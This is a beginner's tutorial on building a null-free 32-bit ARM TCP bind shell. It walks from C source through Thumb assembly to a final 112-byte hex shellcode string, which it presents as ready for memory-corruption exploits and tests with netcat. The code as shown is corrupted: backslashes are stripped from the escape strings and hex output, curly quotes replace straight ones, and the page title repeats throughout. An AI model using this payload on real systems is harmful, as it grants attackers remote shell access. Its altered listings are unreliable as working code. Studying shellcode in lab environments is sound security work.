Beginner’s Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

In this tutorial, you will learn how to write a tcp_bind_shell that does not contain null bytes, which can be used for shellcode testing of vulnerability exploitability.

After reading this tutorial, you will not only learn how to write shellcode that binds a shell to a local port, but also understand how to write shellcode in general. Transitioning from bind shellcode to reverse shellcode requires changing just 1-2 functions and some parameters, but in most cases, they are quite similar. Writing a bind or reverse shell is significantly more complex than creating a simple execve() shell. If you want to start small, you can learn how to write a simple execve() shell in assembly language before diving into this broader tutorial. If you need a refresher on ARM assembly, refer to my ARM Assembly Basics tutorial series, or use the cheat sheet below:

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Before we begin, I want to remind everyone that we are creating ARM shellcode, and you need to set up an ARM lab environment. You can set it up yourself (QEMU Emulate Raspberry Pi) or save time by downloading the lab VM I created (ARM Lab VM).

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit) Learn the details

First, what is a bind shell? How does it work? A bind shell opens a communication port or listener on the target machine. The listener then waits for incoming connections; when you connect to it, the listener accepts the connection and allows you shell access to the target system.

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

This is different from how a reverse shell works. With a reverse shell, you can have the target machine communicate back to your machine. In this case, your machine has a listener port that receives connections from the target system.

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Both types of shells have their own advantages and disadvantages, depending on the target environment. For example, firewalls on the target network may not block outgoing links, making it easier to block incoming links. This means your bind shell will bind a port on the target system, but since incoming connections are blocked, you will not be able to connect to it. Therefore, in some cases, it is better to have a reverse shell that can exploit misconfigurations in firewalls that do not block outgoing connections. If you learn how to write a bind shell, you will also learn how to write a reverse shell. Converting assembly code to a reverse shell requires only a few modifications.

To convert the functionality of a bind shell into assembly, we first need to familiarize ourselves with the process of a bind shell.

1. Create a new TCP socket

2. Bind the socket to a local port

3. Listen for incoming connections

4. Accept incoming connections

5. Redirect STDIN, STDOUT, and STDERR to the newly created socket

6. Generate a shell

Below is the C code we will use for translation.

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

int host_sockid; // socket file descriptor

int client_sockid; // client file descriptor

struct sockaddr_in hostaddr; // server aka listen address

int main()

{

// Create new TCP socket

host_sockid = socket(PF_INET, SOCK_STREAM, 0);

// Initialize sockaddr struct to bind socket using it

hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address

hostaddr.sin_port = htons(4444); // server port, converted to network byte order

hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order

// Bind socket to IP/Port in sockaddr struct

bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));

// Listen for incoming connections

listen(host_sockid, 2);

// Accept incoming connection

client_sockid = accept(host_sockid, NULL, NULL);

// Duplicate file descriptors for STDIN, STDOUT and STDERR

dup2(client_sockid, 0);

dup2(client_sockid, 1);

dup2(client_sockid, 2);

// Execute /bin/sh

execve(“/bin/sh”, NULL, NULL);

close(host_sockid);

return 0;

}

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit) Phase One: System Functions and Their Parameters

The first step is to identify the necessary system functions, parameters, and system call numbers. Looking at the C code above, we can see that we need the following functions: socket, bind, listen, accept, dup2, execve. You can use the following command to calculate the system call numbers for these functions:

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket

#define __NR_socketcall (__NR_SYSCALL_BASE+102)

#define __NR_socket (__NR_SYSCALL_BASE+281)

#define __NR_socketpair (__NR_SYSCALL_BASE+288)

#undef __NR_socketcall

_NR_SYSCALL_BASE value is 0:

root@raspberrypi:/home/pi# grep -R “__NR_SYSCALL_BASE” /usr/include/arm-linux-gnueabihf/asm/

/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0

Here are all the syscall numbers we need:

#define __NR_socket (__NR_SYSCALL_BASE+281)

#define __NR_bind (__NR_SYSCALL_BASE+282)

#define __NR_listen (__NR_SYSCALL_BASE+284)

#define __NR_accept (__NR_SYSCALL_BASE+285)

#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)

#define __NR_execve (__NR_SYSCALL_BASE+ 11)

Each function’s expected parameters can be found in the Linux man pages or on w3challs.com.

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

The next step is to calculate the specific values for these parameters. One way to calculate them is to use strace to observe a successful bind shell connection. Strace is a tool that can be used to trace system calls and monitor the interaction between processes and the Linux kernel. Let’s use strace to test the C version of the bind shell. To reduce noise, we will limit the output to the functions we are interested in.

Terminal 1:

pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test

Terminal 2:

pi@raspberrypi:~ $ netstat -tlpn

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN –

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test

pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444

Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

This is the strace output:

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test

execve(“./bind_test”, [“./bind_test”], [/* 49 vars */]) = 0

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr(“0.0.0.0”)}, 16) = 0

listen(3, 2) = 0

accept(3, 0, NULL) = 4

dup2(4, 0) = 0

dup2(4, 1) = 1

dup2(4, 2) = 2

execve(“/bin/sh”, [0], [/* 0 vars */]) = 0

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Now, we can fill in the blanks and note the values that need to be passed to the assembly bind shell functions.

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit) Step Two: Step-by-Step Compilation

In the first phase, we answered the following questions to gather everything needed for the assembly program:

1. What functions do I need?

2. What are the system call numbers for these functions?

3. What are the parameters for these functions?

4. What are the values of these parameters?

This step is about applying this knowledge and converting it into assembly. Break each function into a separate block and repeat the following process:

1. Identify the registers used for the parameters

2. Determine how to pass the required values to the registers

3. How to pass immediate values to the registers

4. How to clear a register without directly moving #0 into it (we need to avoid null bytes in the code, so we must find other ways to clear registers or values in memory).

5. How to point registers to areas in memory where constants and strings are stored

6. Use the correct system call number to invoke the function and track changes in register contents

1. Remember, the result of the system call will fall into r0, which means if you need to reuse the result of that function in another function, you need to save it to another register before calling the function.

2. Example: host_sockid = socket(2, 1, 0) – the result of the socket call (host_sockid) will be in r0. This result is reused in other functions, such as listen(host_sockid, 2), so it should be saved in another register.

0 – Switch to Thumb mode

First, use Thumb mode to reduce the likelihood of using null bytes. In ARM mode, instructions are 32 bits, while in Thumb mode, they are 16 bits. This means we can reduce the occurrence of null bytes simply by reducing the size of the instructions. Recall how to switch to Thumb mode: ARM instructions must be 4-byte aligned. To switch from ARM to Thumb mode, add 1 to the value of the PC register and save it to another register, setting the LSB (Least Significant Bit) of the next instruction address (found in PC) to 1. Then use a BX (branch and exchange) instruction to branch to another register that contains the address of the next instruction with the LSB set to 1. This operation switches the processor to Thumb mode. All of the above operations boil down to the following two instructions.

.section .text

.global _start

_start:

.ARM

add r3, pc, #1

bx r3

From here, you will write Thumb code, so you need to use the .THUMB directive in your code to indicate this.

1 – Create a Socket

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

These are the values we need for the socket call parameters:

root@raspberrypi:/home/pi# grep -R “AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =” /usr/include/

/usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP

/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-based

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family.

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

After setting the parameters, you can use the svc instruction to call the socket system call. The result of this call will be host_sockid, and it will end in r0. Since we will need host_sockid later, save it to r4.

In ARM, you cannot simply move any immediate value into a register. If you are more interested in this nuance, there is a section in the Memory Instructions chapter (at the end) that discusses this difference.

To check if an immediate value can be used, I wrote a small script (the code is not perfect, you can ignore it) called rotator.py.

pi@raspberrypi:~/bindshell $ python rotator.py

Enter the value you want to check: 281

Sorry, 281 cannot be used as an immediate number and has to be split.

pi@raspberrypi:~/bindshell $ python rotator.py

Enter the value you want to check: 200

The number 200 can be used as a valid immediate number.

50 ror 30 –> 200

pi@raspberrypi:~/bindshell $ python rotator.py

Enter the value you want to check: 81

The number 81 can be used as a valid immediate number.

81 ror 0 –> 81

Final code snippet:

.THUMB

mov r0, #2

mov r1, #1

sub r2, r2, r2

mov r7, #200

add r7, #81 // r7 = 281 (socket syscall number)

svc #1 // r0 = host_sockid value

mov r4, r0 // save host_sockid in r4

2 – Bind the Socket to a Local Port

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Using the first instruction, we will store a structure object containing the address family, host port, and host address in the literal pool and reference this object using pc-relative addressing. The literal pool is a memory area of the same section (since the literal pool is part of the code) where constants, strings, or offsets are stored. You can use the ADR instruction with a label instead of manually calculating the pc-relative offset. ADR accepts a PC-relative expression, meaning it has a label with an optional offset that relates to the PC label. The situation is as follows:

// bind(r0, &sockaddr, 16)

adr r1, struct_addr // pointer to address, port

[…]

struct_addr:

.ascii “x02xff” // AF_INET 0xff will be NULLed

.ascii “x11x5c” // port number 4444

.byte 1,1,1,1 // IP Address

The next five instructions are STRB (store byte) instructions. The STRB instruction stores a byte from a register into a calculated memory area. The syntax [r1, #1] indicates that we are using r1 as the base address, with the immediate value (#1) as the offset.

In the first instruction, we point R1 to the memory area where the value of the address family AF_INET, the local port we want to use, and the IP address are stored. We can use a static IP address or specify 0.0.0.0 to make our bind shell listen on all IPs configured on the target, making our shellcode more portable. Now there are many null bytes.

The reason we want to avoid using null bytes is to make our shellcode usable for exploitation, i.e., exploiting memory corruption vulnerabilities that may be sensitive to null bytes. Some buffer overflows occur due to improper use of functions like “strcpy”. The job of strcpy is to copy data until it encounters a null byte. We use the overflow to control program flow; if strcpy encounters a null byte, it will stop copying our shellcode, and our development will not work. By using the strb instruction, we take a null byte from the register and modify our own code during execution. Thus, there is actually no null byte in our shellcode; it is just dynamically placed there. This requires the code section to be writable, which can be achieved by adding the -N flag during the linking process.

For this reason, we code without null bytes and dynamically place a null byte where needed. As seen in the next image, the IP address we specified is 1.1.1.1, which will be replaced with 0.0.0.0 during execution.

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

The first STRB instruction replaces the placeholder ff in x02xff with x00 to set AF_INET to x02 x00. How do we know it is a stored null byte? Because the instruction “r2, r2, r2” clears the register, so r2 contains 0. The next four instructions replace 1.1.1.1 with 0.0.0.0. Besides the four strb instructions after strb r2, [r1, #1], you could also use a single str r2, [r1, #4] to complete a full 0.0.0.0 write.

Move the instruction to place the byte length of the sockaddr_in structure (AF_INET 2 bytes, PORT 2 bytes, ipaddress 4 bytes, 8 bytes padding, totaling 16 bytes) into r2. Then, we set it to 282 by adding 1 to r7, since r7 already contains 281 from the last syscall.

// bind(r0, &sockaddr, 16)

adr r1, struct_addr // pointer to address, port

strb r2, [r1, #1] // write 0 for AF_INET

strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1

strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1

strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1

strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x

mov r2, #16

add r7, #1 // r7 = 281+1 = 282 (bind syscall number)

svc #1

nop

3 – Listen for Incoming Connections

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Here we place the previously saved host_sockid into r0. Set r1 to 2, and r7 is simply increased by 2, as it also contains 282 (the system call).

mov r0, r4 // r0 = saved host_sockid

mov r1, #2

add r7, #2 // r7 = 284 (listen syscall number)

svc #1

4 – Accept Incoming Connections

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Again, we place the saved host_sockid into r0. Since we want to avoid using null bytes, we do not directly move #0 into r1 and r2; instead, we set them to 0 by subtracting them from themselves. r7 is simply increased by 1. The result of this call will be client_sockid, which we will save in r4, as we no longer need to keep the host_sockid in r4 (we will skip the close function call in the C code).

mov r0, r4 // r0 = saved host_sockid

sub r1, r1, r1 // clear r1, r1 = 0

sub r2, r2, r2 // clear r2, r2 = 0

add r7, #1 // r7 = 285 (accept syscall number)

svc #1

mov r4, r0 // save result (client_sockid) in r4

5 – STDIN, STDOUT, and STDERR

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

For the dup2 function, we need the syscall number 63. The previously saved client_sockid needs to go into r0 again, and the sub-instruction will set r1 to 0. For the remaining two dup2 calls, we just need to change r1 and reset r0 to client_sockid after each system call.

/* dup2(client_sockid, 0) */

mov r7, #63 // r7 = 63 (dup2 syscall number)

mov r0, r4 // r4 is the saved client_sockid

sub r1, r1, r1 // r1 = 0 (stdin)

svc #1

/* dup2(client_sockid, 1) */

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 1 (stdout)

svc #1

/* dup2(client_sockid, 2) */

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 1+1 (stderr)

svc #1

6 – Generate Shell

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

// execve(“/bin/sh”, 0, 0)

adr r0, shellcode // r0 = location of “/bin/shX”

eor r1, r1, r1 // clear register r1. R1 = 0

eor r2, r2, r2 // clear register r2. r2 = 0

strb r2, [r0, #7] // store null-byte for AF_INET

mov r7, #11 // execve syscall number

svc #1

nop

The execve() function we use in this example follows the same process as described in the Writing ARM Shellcode tutorial, explained step by step.

Finally, we will place the values AF_INET (0xff will be replaced with null), port number, IP address, and the string “/bin/sh” at the end of our assembly code.

struct_addr:

.ascii “x02xff” // AF_INET 0xff will be NULLed

.ascii “x11x5c” // port number 4444

.byte 1,1,1,1 // IP Address

shellcode:

.ascii “/bin/shX”

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit) Final Assembly Code

This is the bind shellcode we have written.

.section .text

.global _start

_start:

.ARM

add r3, pc, #1 // switch to thumb mode

bx r3

.THUMB

// socket(2, 1, 0)

mov r0, #2

mov r1, #1

sub r2, r2, r2 // set r2 to null

mov r7, #200 // r7 = 281 (socket)

add r7, #81 // r7 value needs to be split

svc #1 // r0 = host_sockid value

mov r4, r0 // save host_sockid in r4

// bind(r0, &sockaddr, 16)

adr r1, struct_addr // pointer to address, port

strb r2, [r1, #1] // write 0 for AF_INET

strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1

strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1

strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1

strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x

mov r2, #16 // struct address length

add r7, #1 // r7 = 282 (bind)

svc #1

nop

// listen(sockfd, 0)

mov r0, r4 // set r0 to saved host_sockid

mov r1, #2

add r7, #2 // r7 = 284 (listen syscall number)

svc #1

// accept(sockfd, NULL, NULL);

mov r0, r4 // set r0 to saved host_sockid

sub r1, r1, r1 // set r1 to null

sub r2, r2, r2 // set r2 to null

add r7, #1 // r7 = 284+1 = 285 (accept syscall)

svc #1 // r0 = client_sockid value

mov r4, r0 // save new client_sockid value to r4

// dup2(sockfd, 0)

mov r7, #63 // r7 = 63 (dup2 syscall number)

mov r0, r4 // r4 is the saved client_sockid

sub r1, r1, r1 // r1 = 0 (stdin)

svc #1

// dup2(sockfd, 1)

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 1 (stdout)

svc #1

// dup2(sockfd, 2)

mov r0, r4 // r4 is the saved client_sockid

add r1, #1 // r1 = 2 (stderr)

svc #1

// execve(“/bin/sh”, 0, 0)

adr r0, shellcode // r0 = location of “/bin/shX”

eor r1, r1, r1 // clear register r1. R1 = 0

eor r2, r2, r2 // clear register r2. r2 = 0

strb r2, [r0, #7] // store null-byte for AF_INET

mov r7, #11 // execve syscall number

svc #1

nop

struct_addr:

.ascii “x02xff” // AF_INET 0xff will be NULLed

.ascii “x11x5c” // port number 4444

.byte 1,1,1,1 // IP Address

shellcode:

.ascii “/bin/shX”

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit) Testing Shellcode

Save your assembly code to a file named bind_shell.s. When using ld, do not forget the -N flag, as we have used multiple strb operations to modify our code section (.text). This requires the code section to be writable, which can be achieved by adding the -N flag during the linking process.

pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell

pi@raspberrypi:~/bindshell $ ./bind_shell

Then, connect to your specified port:

pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444

Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

uname -a

Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

The shellcode works perfectly! Use the following command to convert it into a hexadecimal string:

pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin

pi@raspberrypi:~/bindshell $ hexdump -v -e ‘”””x” 1/1 “%02x” “”‘ bind_shell.bin

x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58

We successfully wrote the bind shellcode! This shellcode is 112 bytes long. Since this is a beginner’s tutorial, it has not been written to be as short as possible. After completing the basic shellcode writing, you can try to find ways to reduce the number of instructions to make the shellcode shorter.

I hope you learned something from this article and can apply this knowledge to write your own variants of shellcode.

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Beginner's Guide to Writing a TCP Bind Shell in ARM Assembly Language (32-bit)

Leave a Comment